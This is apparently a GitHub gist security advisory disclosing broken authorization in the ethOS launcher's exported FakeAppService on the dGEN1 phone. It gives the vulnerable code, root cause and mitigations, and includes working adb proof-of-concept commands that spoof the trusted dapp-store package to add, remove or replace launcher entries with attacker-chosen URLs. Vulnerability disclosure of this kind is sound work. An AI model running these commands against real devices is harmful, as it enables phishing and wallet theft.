Skip to content

Instantly share code, notes, and snippets.

@Lytes

Lytes/1.md Secret

Last active February 21, 2026 05:20
Show Gist options
  • Select an option

  • Save Lytes/a94219fa1de3f5173555d5a3e8058f01 to your computer and use it in GitHub Desktop.

Select an option

Save Lytes/a94219fa1de3f5173555d5a3e8058f01 to your computer and use it in GitHub Desktop.

Advisory: Broken Authorization in ethOS Launcher FakeAppService

Summary

A broken authorization vulnerability exists in the Android launcher application
org.ethosmobile.ethoslauncher on the Freedom Factory dGEN1 phone. An exported
service (FakeAppService) relies on a caller-supplied intent extra to determine
whether a request originates from a trusted application.

Because authorization is based solely on untrusted intent data rather than the
actual calling UID or application signature, any local application can spoof the
trusted identity and perform privileged launcher modifications.

As a result, unauthorized applications can add, remove, or replace launcher
“FakeApp” entries, enabling phishing and user deception.


Affected Component

  • Package: org.ethosmobile.ethoslauncher
  • Component: FakeAppService (exported Android Service)
<service
    android:name="org.ethosmobile.ethoslauncher.FakeAppService"
    android:enabled="true"
    android:exported="true"/>

Vulnerability Details

The DGEN1 phone allows users to install decentralized applications
("dapps") from the dGEN App Directory. These dapps appear on the launcher
like normal applications but are internally URL-based entries ("FakeApps")
opened through a PWA emulator.

FakeAppService is intended to be used only by the trusted directory app:

org.ethereumphone.dappstoreapp

Authorization is implemented by checking an intent extra:

// FakeAppDbHelper
public static final String CALLER_PACKAGE =
    "org.ethereumphone.dappstoreapp";

// FakeAppService
String callingPackage =
    intent.getStringExtra(EXTRA_CALLING_PACKAGE);

String title = intent.getStringExtra("title");
String url   = intent.getStringExtra("url");

Log.d(TAG, "Received request to add fake app: "
    + title + " (" + url + ") from "
    + callingPackage);

if (Intrinsics.areEqual(callingPackage,
        FakeAppDbHelper.CALLER_PACKAGE)
    && title != null
    && url != null) {

    handleAddFakeApp(title, url);
}

However:

  • The callingPackage value is fully controlled by the caller.
  • No validation is performed using Binder.getCallingUid().
  • No signature-level permission is enforced.
  • The service is marked android:exported="true".

Because authorization relies entirely on a spoofable intent string,
any unprivileged application can impersonate the trusted package and
invoke privileged FakeApp management functionality.


Proof of Concept

Add a Malicious FakeApp

adb shell am startservice \
  -n org.ethosmobile.ethoslauncher/.FakeAppService \
  -a org.ethosmobile.ethoslauncher.ADD_FAKE_APP_SERVICE \
  --es callingPackage org.ethereumphone.dappstoreapp \
  --es title "Wallet" \
  --es url "https://kurolytes.co"

Replace a Legitimate FakeApp (e.g., OpenSea)

adb shell am startservice \
  -n org.ethosmobile.ethoslauncher/.FakeAppService \
  -a org.ethosmobile.ethoslauncher.REMOVE_FAKE_APP_SERVICE \
  --es callingPackage org.ethereumphone.dappstoreapp \
  --es title "OpenSea" \
  --es url "https://opensea.io"

adb shell am startservice \
  -n org.ethosmobile.ethoslauncher/.FakeAppService \
  -a org.ethosmobile.ethoslauncher.ADD_FAKE_APP_SERVICE \
  --es callingPackage org.ethereumphone.dappstoreapp \
  --es title "OpenSea" \
  --es url "https://kurolytes.co"

No special permissions are required to invoke the service.

Because FakeApps are visually indistinguishable from legitimate launcher entries,
users cannot easily detect malicious replacements.


Impact

A malicious local application can:

  • Add arbitrary FakeApp launcher entries
  • Remove legitimate FakeApp entries
  • Replace legitimate FakeApps with attacker-controlled URLs
  • Impersonate trusted decentralized applications

This may result in:

  • Phishing
  • Credential harvesting
  • Wallet compromise
  • User deception
  • Denial of access to legitimate dapps

Attack Vector

  • Local — requires installation of a malicious application on the same device
  • No special Android permissions required

Root Cause

  • Broken authorization logic
  • Reliance on untrusted intent extras for security decisions
  • Exported service without restrictive permission enforcement
  • Failure to validate caller identity using UID or signature checks

Mitigation

  • Avoid relying on caller-supplied intent extras for authorization
  • Validate callers using Binder.getCallingUid() and package manager verification
  • Enforce a signature-level custom permission on the service
  • Mark the service android:exported="false" if external access is unnecessary
  • Restrict FakeApp management APIs to internal components only

Discovery

Discovered by Olaitan Ayoola (Kuro_Lytes), Maxhed LLC

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment